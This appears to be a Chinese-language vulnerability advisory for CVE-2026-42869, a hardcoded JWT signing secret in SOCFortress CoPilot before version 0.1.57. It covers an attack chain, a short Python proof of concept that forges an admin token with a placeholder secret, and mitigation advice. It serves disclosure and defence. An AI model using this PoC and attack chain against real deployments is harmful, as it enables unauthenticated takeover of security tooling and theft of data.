IPBUF安全漏洞报告
English
CVE-2026-42869 CVSS 10.0 严重

CVE-2026-42869 SOCFortress CoPilot 硬编码JWT漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42869
漏洞类型
硬编码凭证
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SOCFortress CoPilot

相关标签

硬编码凭证JWT伪造身份认证绕过SOCFortress CoPilotRCE

漏洞概述

SOCFortress CoPilot在0.1.57版本之前存在硬编码JWT签名密钥漏洞。由于未显式设置JWT_SECRET时使用公开默认值,未经身份验证的攻击者可利用该密钥伪造管理员令牌,从而完全接管应用程序及其管理的所有安全工具。

技术细节

该漏洞源于SOCFortress CoPilot在`backend/app/auth/utils.py`第28行硬编码了JWT签名密钥作为回退值,且该密钥明文存在于`.env.example`文件中。在默认Docker Compose部署场景下,如果管理员未显式覆盖`JWT_SECRET`环境变量,应用将使用此公开的硬编码密钥来签署所有身份验证令牌。由于JWT(JSON Web Token)仅靠密钥验证签名,攻击者一旦获取该硬编码密钥,即可利用标准JWT库在本地伪造具有任意作用域(包括管理员权限)的令牌。服务端收到伪造令牌后会验证通过,导致攻击者绕过身份认证并获得系统的完全控制权。

攻击链分析

STEP 1
侦察
识别目标是否运行SOCFortress CoPilot,并确认版本低于0.1.57。
STEP 2
信息收集
访问公开的源代码仓库或.env.example文件,获取硬编码的JWT签名密钥。
STEP 3
利用
使用获取到的硬编码密钥,利用JWT库伪造包含管理员权限的Token。
STEP 4
攻击
在HTTP请求头(如Authorization: Bearer <token>)中使用伪造的Token访问受保护的管理接口。
STEP 5
后渗透
利用获得的管理员权限,完全控制应用程序及集成的安全工具,窃取数据或部署恶意软件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import datetime def forge_admin_token(): # The hardcoded secret found in backend/app/auth/utils.py:28 # Replace 'YOUR_HARDcoded_SECRET_HERE' with the actual secret from the vulnerable source code HARDCODED_SECRET = 'YOUR_HARDcoded_SECRET_HERE' # Construct a payload with admin privileges # Adjust 'sub', 'role', or other fields based on the application's specific JWT requirements payload = { 'sub': 'admin', # Subject (User ID) 'role': 'admin', # Role 'exp': datetime.datetime.utcnow() + datetime.timedelta(days=30) # Expiration } # Forge the token using the HS256 algorithm and the hardcoded secret forged_token = jwt.encode(payload, HARDCODED_SECRET, algorithm='HS256') print(f"Forged Admin JWT: {forged_token}") return forged_token if __name__ == "__main__": forge_admin_token()

影响范围

SOCFortress CoPilot < 0.1.57

防御指南

临时缓解措施
如果无法立即升级,请务必检查所有部署的环境变量配置,确保JWT_SECRET已被设置为强密码,并且该密钥未被包含在任何公开的配置文件中。

参考链接